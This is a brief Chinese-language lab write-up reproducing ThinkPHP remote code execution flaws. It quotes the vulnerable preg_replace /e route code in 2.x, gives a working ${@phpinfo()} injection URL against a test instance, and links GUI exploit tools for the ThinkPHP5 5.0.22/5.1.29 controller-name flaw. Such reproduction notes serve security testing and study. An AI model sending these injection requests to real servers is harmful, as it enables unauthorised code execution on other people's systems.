ThinkPHP 2.x 任意代码执行漏洞
漏洞详情:
hinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
复现:
环境启动后,访问http://your-ip:8080/index即可查看到默认页面。
直接访问
http://your-ip:8080/index.php?s=/index/index/name/${@phpinfo()}
代码执行成功
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
漏洞详情:
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
复现:
开启靶场环境并访问地址
这里直接放几个漏洞利用的工具把
https://github.com/Lotus6/ThinkphpGUI
https://github.com/bewhale/thinkphp_gui_tools
thinkphp类的漏洞有很多工具可以直接用,不写了